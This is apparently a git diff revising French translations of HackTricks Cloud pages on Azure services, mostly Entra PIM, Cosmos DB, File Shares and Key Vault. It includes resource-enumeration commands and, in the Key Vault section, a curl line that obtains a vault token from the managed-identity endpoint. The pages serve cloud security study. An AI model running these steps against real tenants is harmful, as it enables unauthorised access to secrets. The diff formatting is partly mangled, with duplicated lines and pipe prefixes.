L'une des principales fonctionnalités fournies par PIM est qu'elle permet de ne pas attribuer de rôles à des principaux qui sont constamment actifs, mais de les rendre **éligibles pour une période de temps (par exemple, 6 mois)**. Ensuite, chaque fois que l'utilisateur souhaite activer ce rôle, il doit en faire la demande en indiquant le temps dont il a besoin pour le privilège (par exemple, 3 heures). Ensuite, un **admin doit approuver** la demande.\
|
L'une des principales fonctionnalités fournies par PIM est qu'elle permet de ne pas attribuer de rôles à des principaux qui sont constamment actifs, mais de les rendre **éligibles pour une période de temps (par exemple, 6 mois)**. Ensuite, chaque fois que l'utilisateur souhaite activer ce rôle, il doit en faire la demande en indiquant le temps pendant lequel il a besoin du privilège (par exemple, 3 heures). Ensuite, un **administrateur doit approuver** la demande.\
|
||||||
Notez que l'utilisateur pourra également demander à **prolonger** le temps.
|
Notez que l'utilisateur pourra également demander à **prolonger** le temps.
|
||||||
|
|
||||||
De plus, **PIM envoie des e-mails** chaque fois qu'un rôle privilégié est attribué à quelqu'un.
|
De plus, **PIM envoie des e-mails** chaque fois qu'un rôle privilégié est attribué à quelqu'un.
|
||||||
@@ -919,14 +919,14 @@ Lorsque PIM est activé, il est possible de configurer chaque rôle avec certain
|
|||||||
|
|
||||||
- Durée maximale (heures) d'activation
|
- Durée maximale (heures) d'activation
|
||||||
- Exiger MFA lors de l'activation
|
- Exiger MFA lors de l'activation
|
||||||
- Exiger un contexte d'authentification d'Accès Conditionnel
|
- Exiger un contexte d'authentification d'accès conditionnel
|
||||||
- Exiger une justification lors de l'activation
|
- Exiger une justification lors de l'activation
|
||||||
- Exiger des informations sur le ticket lors de l'activation
|
- Exiger des informations sur le ticket lors de l'activation
|
||||||
- Exiger une approbation pour activer
|
- Exiger une approbation pour activer
|
||||||
- Temps maximum pour expirer les attributions éligibles 
|
- Temps maximum pour expirer les attributions éligibles
|
||||||
- Beaucoup plus de configurations sur quand et qui envoyer des notifications lorsque certaines actions se produisent avec ce rôle
|
- Beaucoup plus de configurations sur quand et qui envoyer des notifications lorsque certaines actions se produisent avec ce rôle
|
||||||
|
|
||||||
### Politiques d'Accès Conditionnel <a href="#title-text" id="title-text"></a>
|
### Politiques d'accès conditionnel <a href="#title-text" id="title-text"></a>
|
||||||
|
|
||||||
Vérifiez :
|
Vérifiez :
|
||||||
|
|
||||||
@@ -934,23 +934,23 @@ Vérifiez :
|
|||||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Protection des Identités Entra <a href="#title-text" id="title-text"></a>
|
### Protection des identités Entra <a href="#title-text" id="title-text"></a>
|
||||||
|
|
||||||
La Protection des Identités Entra est un service de sécurité qui permet de **détecter lorsqu'un utilisateur ou une connexion est trop risqué** pour être accepté, permettant de **bloquer** l'utilisateur ou la tentative de connexion.
|
La Protection des identités Entra est un service de sécurité qui permet de **détecter lorsqu'un utilisateur ou une connexion est trop risqué** pour être accepté, permettant de **bloquer** l'utilisateur ou la tentative de connexion.
|
||||||
|
|
||||||
Il permet à l'admin de le configurer pour **bloquer** les tentatives lorsque le risque est "Faible et au-dessus", "Moyen et au-dessus" ou "Élevé". Bien que, par défaut, il soit complètement **désactivé** :
|
Il permet à l'administrateur de le configurer pour **bloquer** les tentatives lorsque le risque est "Faible et au-dessus", "Moyen et au-dessus" ou "Élevé". Cependant, par défaut, il est complètement **désactivé** :
|
||||||
|
|
||||||
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> De nos jours, il est recommandé d'ajouter ces restrictions via des politiques d'Accès Conditionnel où il est possible de configurer les mêmes options.
|
> De nos jours, il est recommandé d'ajouter ces restrictions via des politiques d'accès conditionnel où il est possible de configurer les mêmes options.
|
||||||
|
|
||||||
### Protection des Mots de Passe Entra
|
### Protection par mot de passe Entra
|
||||||
|
|
||||||
La Protection des Mots de Passe Entra ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) est une fonctionnalité de sécurité qui **aide à prévenir l'abus de mots de passe faibles en verrouillant les comptes lorsque plusieurs tentatives de connexion infructueuses se produisent**.\
|
La Protection par mot de passe Entra ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) est une fonctionnalité de sécurité qui **aide à prévenir l'abus de mots de passe faibles en verrouillant les comptes lorsque plusieurs tentatives de connexion infructueuses se produisent**.\
|
||||||
Elle permet également de **interdire une liste de mots de passe personnalisée** que vous devez fournir.
|
Elle permet également de **interdire une liste de mots de passe personnalisée** que vous devez fournir.
|
||||||
|
|
||||||
Elle peut être **appliquée à la fois** au niveau cloud et sur Active Directory sur site.
|
Elle peut être **appliquée à la fois** au niveau du cloud et sur Active Directory sur site.
|
||||||
|
|
||||||
Le mode par défaut est **Audit** :
|
Le mode par défaut est **Audit** :
|
||||||
|
|
||||||
|
|||||||
@@ -36,7 +36,7 @@ https://<Account-Name>.documents.azure.com:443/
|
|||||||
Dans un compte, vous pouvez créer une ou plusieurs bases de données, qui servent de regroupements logiques de conteneurs. Une base de données agit comme une limite pour la gestion des ressources et les autorisations des utilisateurs. Les bases de données peuvent soit partager le débit provisionné entre leurs conteneurs, soit allouer un débit dédié à des conteneurs individuels.
|
Dans un compte, vous pouvez créer une ou plusieurs bases de données, qui servent de regroupements logiques de conteneurs. Une base de données agit comme une limite pour la gestion des ressources et les autorisations des utilisateurs. Les bases de données peuvent soit partager le débit provisionné entre leurs conteneurs, soit allouer un débit dédié à des conteneurs individuels.
|
||||||
|
|
||||||
#### Conteneurs
|
#### Conteneurs
|
||||||
L'unité de base du stockage de données est le conteneur, qui contient des documents JSON et est automatiquement indexé pour des requêtes efficaces. Les conteneurs sont élastiquement évolutifs et distribués sur des partitions, qui sont déterminées par une clé de partition définie par l'utilisateur. La clé de partition est essentielle pour garantir des performances optimales et une distribution uniforme des données. Par exemple, un conteneur pourrait stocker des données clients, avec "customerId" comme clé de partition.
|
L'unité de stockage de données principale est le conteneur, qui contient des documents JSON et est automatiquement indexé pour des requêtes efficaces. Les conteneurs sont élastiquement évolutifs et distribués sur des partitions, qui sont déterminées par une clé de partition définie par l'utilisateur. La clé de partition est essentielle pour garantir des performances optimales et une distribution uniforme des données. Par exemple, un conteneur pourrait stocker des données clients, avec "customerId" comme clé de partition.
|
||||||
|
|
||||||
#### Énumération
|
#### Énumération
|
||||||
|
|
||||||
@@ -83,7 +83,7 @@ az cosmosdb sql user-defined-function list --account-name <AccountName> --contai
|
|||||||
|
|
||||||
{% tab title="Az PowerShell" %}
|
{% tab title="Az PowerShell" %}
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```powershell
|
```bash
|
||||||
Get-Command -Module Az.CosmosD
|
Get-Command -Module Az.CosmosD
|
||||||
|
|
||||||
# List all Cosmos DB accounts in a specified resource group.
|
# List all Cosmos DB accounts in a specified resource group.
|
||||||
@@ -215,7 +215,7 @@ mongodb://<hostname>:<port>/<database>
|
|||||||
Dans MongoDB, vous pouvez créer une ou plusieurs bases de données au sein d'une instance. Chaque base de données sert de regroupement logique de collections et fournit une limite pour l'organisation et la gestion des ressources. Les bases de données aident à séparer et à gérer les données de manière logique, par exemple pour différentes applications ou projets.
|
Dans MongoDB, vous pouvez créer une ou plusieurs bases de données au sein d'une instance. Chaque base de données sert de regroupement logique de collections et fournit une limite pour l'organisation et la gestion des ressources. Les bases de données aident à séparer et à gérer les données de manière logique, par exemple pour différentes applications ou projets.
|
||||||
|
|
||||||
#### Collections
|
#### Collections
|
||||||
L'unité de base du stockage de données dans MongoDB est la collection, qui contient des documents et est conçue pour des requêtes efficaces et un design de schéma flexible. Les collections sont élastiquement évolutives et peuvent prendre en charge des opérations à haut débit sur plusieurs nœuds dans une configuration distribuée.
|
L'unité de base du stockage de données dans MongoDB est la collection, qui contient des documents et est conçue pour des requêtes efficaces et un design de schéma flexible. Les collections sont élastiquement évolutives et peuvent prendre en charge des opérations à fort débit sur plusieurs nœuds dans une configuration distribuée.
|
||||||
|
|
||||||
#### Énumération
|
#### Énumération
|
||||||
|
|
||||||
@@ -243,7 +243,7 @@ az cosmosdb identity show --resource-group <ResourceGroupName> --name <AccountNa
|
|||||||
|
|
||||||
{% tab title="Az PowerShell" %}
|
{% tab title="Az PowerShell" %}
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```powershell
|
```bash
|
||||||
Get-Command -Module Az.CosmosDB
|
Get-Command -Module Az.CosmosDB
|
||||||
|
|
||||||
# List all Cosmos DB accounts in a specified resource group.
|
# List all Cosmos DB accounts in a specified resource group.
|
||||||
@@ -329,7 +329,7 @@ print(f"Inserted document with ID: {result.inserted_id}")
|
|||||||
[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md)
|
[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Post Exploitation
|
## Post exploitation
|
||||||
|
|
||||||
{% content-ref url="../az-post-exploitation/az-cosmosDB-post-exploitation.md" %}
|
{% content-ref url="../az-post-exploitation/az-cosmosDB-post-exploitation.md" %}
|
||||||
[az-cosmosDB-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md)
|
[az-cosmosDB-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md)
|
||||||
@@ -349,9 +349,9 @@ Apprenez et pratiquez le hacking GCP : <img src="../../../.gitbook/assets/image
|
|||||||
|
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|||||||
@@ -24,8 +24,8 @@
|
|||||||
### Authentifications prises en charge via SMB
|
### Authentifications prises en charge via SMB
|
||||||
|
|
||||||
- **Authentification AD DS sur site** : Elle utilise des identifiants Active Directory sur site synchronisés avec Microsoft Entra ID pour un accès basé sur l'identité. Elle nécessite une connectivité réseau avec AD DS sur site.
|
- **Authentification AD DS sur site** : Elle utilise des identifiants Active Directory sur site synchronisés avec Microsoft Entra ID pour un accès basé sur l'identité. Elle nécessite une connectivité réseau avec AD DS sur site.
|
||||||
- **Authentification des services de domaine Microsoft Entra** : Elle utilise les services de domaine Microsoft Entra (AD basé sur le cloud) pour fournir un accès en utilisant des identifiants Microsoft Entra.
|
- **Authentification des services de domaine Microsoft Entra** : Elle s'appuie sur les services de domaine Microsoft Entra (AD basé sur le cloud) pour fournir un accès en utilisant des identifiants Microsoft Entra.
|
||||||
- **Kerberos Microsoft Entra pour identités hybrides** : Il permet aux utilisateurs de Microsoft Entra d'authentifier les partages de fichiers Azure via Internet en utilisant Kerberos. Il prend en charge les VM jointes à Microsoft Entra hybrides ou jointes à Microsoft Entra sans nécessiter de connectivité avec des contrôleurs de domaine sur site. Mais il ne prend pas en charge les identités uniquement cloud.
|
- **Kerberos Microsoft Entra pour identités hybrides** : Il permet aux utilisateurs de Microsoft Entra d'authentifier les partages de fichiers Azure via Internet en utilisant Kerberos. Il prend en charge les VM jointes à Microsoft Entra hybrides ou jointes à Microsoft Entra sans nécessiter de connectivité avec les contrôleurs de domaine sur site. Mais il ne prend pas en charge les identités uniquement cloud.
|
||||||
- **Authentification Kerberos AD pour clients Linux** : Elle permet aux clients Linux d'utiliser Kerberos pour l'authentification SMB via AD DS sur site ou les services de domaine Microsoft Entra.
|
- **Authentification Kerberos AD pour clients Linux** : Elle permet aux clients Linux d'utiliser Kerberos pour l'authentification SMB via AD DS sur site ou les services de domaine Microsoft Entra.
|
||||||
|
|
||||||
## Énumération
|
## Énumération
|
||||||
@@ -56,7 +56,7 @@ az storage file download-batch -d . --account-name <name> --source <share-name>
|
|||||||
{{#endtab}}
|
{{#endtab}}
|
||||||
|
|
||||||
{{#tab name="Az PowerShell"}}
|
{{#tab name="Az PowerShell"}}
|
||||||
```powershell
|
```bash
|
||||||
Get-AzStorageAccount
|
Get-AzStorageAccount
|
||||||
|
|
||||||
# List File Shares
|
# List File Shares
|
||||||
@@ -86,15 +86,15 @@ Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -Stor
|
|||||||
> Utilisez le paramètre `--account-key` pour indiquer la clé de compte à utiliser\
|
> Utilisez le paramètre `--account-key` pour indiquer la clé de compte à utiliser\
|
||||||
> Utilisez le paramètre `--sas-token` avec le token SAS pour accéder via un token SAS
|
> Utilisez le paramètre `--sas-token` avec le token SAS pour accéder via un token SAS
|
||||||
|
|
||||||
### Connexion
|
### Connection
|
||||||
|
|
||||||
Voici les scripts proposés par Azure au moment de l'écriture pour se connecter à un File Share :
|
Ce sont les scripts proposés par Azure au moment de l'écriture pour se connecter à un File Share :
|
||||||
|
|
||||||
Vous devez remplacer les espaces réservés `<STORAGE-ACCOUNT>`, `<ACCESS-KEY>` et `<FILE-SHARE-NAME>`.
|
Vous devez remplacer les espaces réservés `<STORAGE-ACCOUNT>`, `<ACCESS-KEY>` et `<FILE-SHARE-NAME>`.
|
||||||
|
|
||||||
{{#tabs}}
|
{{#tabs}}
|
||||||
{{#tab name="Windows"}}
|
{{#tab name="Windows"}}
|
||||||
```powershell
|
```bash
|
||||||
$connectTestResult = Test-NetConnection -ComputerName filescontainersrdtfgvhb.file.core.windows.net -Port 445
|
$connectTestResult = Test-NetConnection -ComputerName filescontainersrdtfgvhb.file.core.windows.net -Port 445
|
||||||
if ($connectTestResult.TcpTestSucceeded) {
|
if ($connectTestResult.TcpTestSucceeded) {
|
||||||
# Save the password so the drive will persist on reboot
|
# Save the password so the drive will persist on reboot
|
||||||
@@ -131,7 +131,7 @@ open smb://<STORAGE-ACCOUNT>:<ACCESS-KEY>@<STORAGE-ACCOUNT>.file.core.windows.ne
|
|||||||
{{#endtab}}
|
{{#endtab}}
|
||||||
{{#endtabs}}
|
{{#endtabs}}
|
||||||
|
|
||||||
### Énumération de stockage régulier (clés d'accès, SAS...)
|
### Énumération de stockage régulière (clés d'accès, SAS...)
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
az-storage.md
|
az-storage.md
|
||||||
@@ -139,7 +139,7 @@ az-storage.md
|
|||||||
|
|
||||||
## Escalade de privilèges
|
## Escalade de privilèges
|
||||||
|
|
||||||
Identique à privesc de stockage :
|
Identique à la privesc de stockage :
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../az-privilege-escalation/az-storage-privesc.md
|
../az-privilege-escalation/az-storage-privesc.md
|
||||||
|
|||||||
@@ -4,13 +4,13 @@
|
|||||||
|
|
||||||
## Informations de base
|
## Informations de base
|
||||||
|
|
||||||
**Azure Key Vault** est un service cloud fourni par Microsoft Azure pour stocker et gérer en toute sécurité des informations sensibles telles que **secrets, clés, certificats et mots de passe**. Il agit comme un référentiel centralisé, offrant un accès sécurisé et un contrôle granulaire à l'aide d'Azure Active Directory (Azure AD). D'un point de vue sécurité, Key Vault fournit une **protection par module de sécurité matériel (HSM)** pour les clés cryptographiques, garantit que les secrets sont chiffrés à la fois au repos et en transit, et offre une gestion d'accès robuste grâce à **l'accès basé sur les rôles (RBAC)** et des politiques. Il dispose également de **journalisation des audits**, d'une intégration avec Azure Monitor pour le suivi des accès, et d'une rotation automatique des clés pour réduire le risque d'exposition prolongée des clés.
|
**Azure Key Vault** est un service cloud fourni par Microsoft Azure pour stocker et gérer en toute sécurité des informations sensibles telles que **secrets, clés, certificats et mots de passe**. Il agit comme un référentiel centralisé, offrant un accès sécurisé et un contrôle granulaire à l'aide d'Azure Active Directory (Azure AD). D'un point de vue sécurité, Key Vault fournit une **protection par module de sécurité matériel (HSM)** pour les clés cryptographiques, garantit que les secrets sont chiffrés à la fois au repos et en transit, et offre une gestion d'accès robuste grâce à **l'accès basé sur les rôles (RBAC)** et aux politiques. Il dispose également de **journalisation des audits**, d'une intégration avec Azure Monitor pour le suivi des accès, et d'une rotation automatique des clés pour réduire le risque d'exposition prolongée des clés.
|
||||||
|
|
||||||
Voir [Azure Key Vault REST API overview](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates) pour des détails complets.
|
Voir [Azure Key Vault REST API overview](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates) pour des détails complets.
|
||||||
|
|
||||||
Selon les [**docs**](https://learn.microsoft.com/en-us/azure/key-vault/general/basic-concepts), les coffres prennent en charge le stockage de clés logicielles et de clés soutenues par HSM, de secrets et de certificats. Les pools HSM gérés ne prennent en charge que les clés soutenues par HSM.
|
Selon les [**docs**](https://learn.microsoft.com/en-us/azure/key-vault/general/basic-concepts), les coffres prennent en charge le stockage de clés logicielles et de clés soutenues par HSM, de secrets et de certificats. Les pools HSM gérés ne prennent en charge que les clés soutenues par HSM.
|
||||||
|
|
||||||
Le **format d'URL** pour les **coffres** est `https://{vault-name}.vault.azure.net/{object-type}/{object-name}/{object-version}` et pour les pools HSM gérés, c'est : `https://{hsm-name}.managedhsm.azure.net/{object-type}/{object-name}/{object-version}`
|
Le **format d'URL** pour les **coffres** est `https://{vault-name}.vault.azure.net/{object-type}/{object-name}/{object-version}` et pour les pools HSM gérés c'est : `https://{hsm-name}.managedhsm.azure.net/{object-type}/{object-name}/{object-version}`
|
||||||
|
|
||||||
Où :
|
Où :
|
||||||
|
|
||||||
@@ -54,7 +54,7 @@ De plus, il est possible de créer un **point de terminaison privé** pour perme
|
|||||||
|
|
||||||
### Protection contre la suppression
|
### Protection contre la suppression
|
||||||
|
|
||||||
Lorsqu'un coffre de clés est créé, le nombre minimum de jours autorisé pour la suppression est de 7. Ce qui signifie que chaque fois que vous essayez de supprimer ce coffre de clés, il faudra **au moins 7 jours pour être supprimé**.
|
Lorsqu'un coffre de clés est créé, le nombre minimum de jours autorisés pour la suppression est de 7. Ce qui signifie que chaque fois que vous essayez de supprimer ce coffre de clés, il faudra **au moins 7 jours pour être supprimé**.
|
||||||
|
|
||||||
Cependant, il est possible de créer un coffre avec **la protection contre la purge désactivée**, ce qui permet de purger le coffre de clés et les objets pendant la période de conservation. Cependant, une fois cette protection activée pour un coffre, elle ne peut pas être désactivée.
|
Cependant, il est possible de créer un coffre avec **la protection contre la purge désactivée**, ce qui permet de purger le coffre de clés et les objets pendant la période de conservation. Cependant, une fois cette protection activée pour un coffre, elle ne peut pas être désactivée.
|
||||||
|
|
||||||
@@ -92,7 +92,7 @@ az keyvault secret show --id https://<KeyVaultName>.vault.azure.net/secrets/<Key
|
|||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
|
|
||||||
{{#tab name="Az Powershell" }}
|
{{#tab name="Az Powershell" }}
|
||||||
```powershell
|
```bash
|
||||||
# Get keyvault token
|
# Get keyvault token
|
||||||
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
|
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
|
||||||
|
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ Il est possible de visualiser une LogicApp avec des graphiques :
|
|||||||
|
|
||||||
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
ou de vérifier le code dans la section "**Vue du code de l'application Logic**".
|
ou de vérifier le code dans la section "**Vue du code de l'application logique**".
|
||||||
|
|
||||||
### Protection SSRF
|
### Protection SSRF
|
||||||
|
|
||||||
@@ -47,7 +47,7 @@ az logic workflow identity show --name <LogicAppName> --resource-group <Resource
|
|||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
|
|
||||||
{{#tab name="Az PowerSHell" }}
|
{{#tab name="Az PowerSHell" }}
|
||||||
```powershell
|
```bash
|
||||||
# List
|
# List
|
||||||
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
|
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
|
||||||
# Get info
|
# Get info
|
||||||
|
|||||||
@@ -10,13 +10,13 @@ Apprenez et pratiquez le Hacking GCP : <img src="../../../.gitbook/assets/image
|
|||||||
|
|
||||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Azure MySQL
|
## Azure MySQL
|
||||||
Azure Database for MySQL est un service de base de données relationnelle entièrement géré basé sur l'édition communautaire de MySQL, conçu pour offrir évolutivité, sécurité et flexibilité pour divers besoins d'application. Il dispose de deux modèles de déploiement différents :
|
Azure Database for MySQL est un service de base de données relationnelle entièrement géré basé sur l'édition communautaire MySQL, conçu pour offrir évolutivité, sécurité et flexibilité pour divers besoins d'application. Il dispose de deux modèles de déploiement différents :
|
||||||
|
|
||||||
* **Serveur unique** (est sur la voie de la retraite) :
|
* **Serveur unique** (est sur la voie de la retraite) :
|
||||||
- Optimisé pour des déploiements MySQL rentables et faciles à gérer.
|
- Optimisé pour des déploiements MySQL rentables et faciles à gérer.
|
||||||
@@ -29,7 +29,7 @@ Azure Database for MySQL est un service de base de données relationnelle entiè
|
|||||||
- Offre des fonctionnalités d'arrêt/démarrage pour des économies de coûts.
|
- Offre des fonctionnalités d'arrêt/démarrage pour des économies de coûts.
|
||||||
|
|
||||||
### Caractéristiques clés
|
### Caractéristiques clés
|
||||||
* **Gestion des serveurs** : La fonctionnalité **ad-admin** permet de gérer les administrateurs Azure Active Directory (AAD) pour les serveurs MySQL, offrant un contrôle sur l'accès administratif via des identifiants AAD, tandis que la fonctionnalité **identity** permet l'attribution et la gestion des identités gérées Azure, offrant une authentification sécurisée sans identifiants pour accéder aux ressources Azure.
|
* **Gestion du serveur** : La fonctionnalité **ad-admin** permet de gérer les administrateurs Azure Active Directory (AAD) pour les serveurs MySQL, offrant un contrôle sur l'accès administratif via des identifiants AAD, tandis que la fonctionnalité **identity** permet l'attribution et la gestion des identités gérées Azure, offrant une authentification sécurisée sans identifiants pour accéder aux ressources Azure.
|
||||||
* **Gestion du cycle de vie** : options pour démarrer ou arrêter un serveur, supprimer une instance de serveur flexible, redémarrer un serveur pour appliquer rapidement des modifications de configuration, et attendre pour s'assurer qu'un serveur répond à des conditions spécifiques avant de procéder avec des scripts d'automatisation.
|
* **Gestion du cycle de vie** : options pour démarrer ou arrêter un serveur, supprimer une instance de serveur flexible, redémarrer un serveur pour appliquer rapidement des modifications de configuration, et attendre pour s'assurer qu'un serveur répond à des conditions spécifiques avant de procéder avec des scripts d'automatisation.
|
||||||
* **Sécurité et mise en réseau** : peut gérer les règles de pare-feu du serveur pour un accès sécurisé à la base de données et détacher les configurations de réseau virtuel si nécessaire.
|
* **Sécurité et mise en réseau** : peut gérer les règles de pare-feu du serveur pour un accès sécurisé à la base de données et détacher les configurations de réseau virtuel si nécessaire.
|
||||||
* **Protection des données et sauvegarde** : inclut des options pour gérer les sauvegardes de serveurs flexibles pour la récupération des données, effectuer une restauration géographique pour récupérer un serveur dans une autre région, exporter des sauvegardes de serveur pour un usage externe (en aperçu), et restaurer un serveur à partir d'une sauvegarde à un moment spécifique.
|
* **Protection des données et sauvegarde** : inclut des options pour gérer les sauvegardes de serveurs flexibles pour la récupération des données, effectuer une restauration géographique pour récupérer un serveur dans une autre région, exporter des sauvegardes de serveur pour un usage externe (en aperçu), et restaurer un serveur à partir d'une sauvegarde à un moment spécifique.
|
||||||
@@ -73,7 +73,7 @@ az mysql flexible-server server-logs list --resource-group <resource-group-name>
|
|||||||
|
|
||||||
{% tab title="Az PowerShell" %}
|
{% tab title="Az PowerShell" %}
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```powershell
|
```bash
|
||||||
Get-Command -Module Az.MySql
|
Get-Command -Module Az.MySql
|
||||||
|
|
||||||
# Get all flexible servers in a resource group
|
# Get all flexible servers in a resource group
|
||||||
|
|||||||
@@ -10,7 +10,7 @@ Apprenez et pratiquez le Hacking GCP : <img src="../../../.gitbook/assets/image
|
|||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
@@ -82,7 +82,7 @@ az postgres flexible-server server-logs list --resource-group <resource-group-na
|
|||||||
|
|
||||||
{% tab title="Az PowerShell" %}
|
{% tab title="Az PowerShell" %}
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```powershell
|
```bash
|
||||||
Get-Command -Module Az.PostgreSql
|
Get-Command -Module Az.PostgreSql
|
||||||
|
|
||||||
# List flexible-servers in a resource group
|
# List flexible-servers in a resource group
|
||||||
@@ -154,7 +154,7 @@ psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser
|
|||||||
|
|
||||||
## À faire
|
## À faire
|
||||||
|
|
||||||
* Chercher un moyen d'accéder avec ad-admin pour vérifier que c'est une méthode d'escalade de privilèges
|
* Chercher un moyen d'accéder avec ad-admin pour vérifier s'il s'agit d'une méthode d'escalade de privilèges
|
||||||
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
|
|||||||
@@ -9,42 +9,42 @@ Azure SQL est une famille de produits gérés, sécurisés et intelligents qui u
|
|||||||
Azure SQL se compose de trois principales offres :
|
Azure SQL se compose de trois principales offres :
|
||||||
|
|
||||||
1. **Azure SQL Database** : Il s'agit d'un **service de base de données entièrement géré**, qui vous permet d'héberger des bases de données individuelles dans le cloud Azure. Il offre une intelligence intégrée qui apprend vos modèles de base de données uniques et fournit des recommandations personnalisées et un réglage automatique.
|
1. **Azure SQL Database** : Il s'agit d'un **service de base de données entièrement géré**, qui vous permet d'héberger des bases de données individuelles dans le cloud Azure. Il offre une intelligence intégrée qui apprend vos modèles de base de données uniques et fournit des recommandations personnalisées et un réglage automatique.
|
||||||
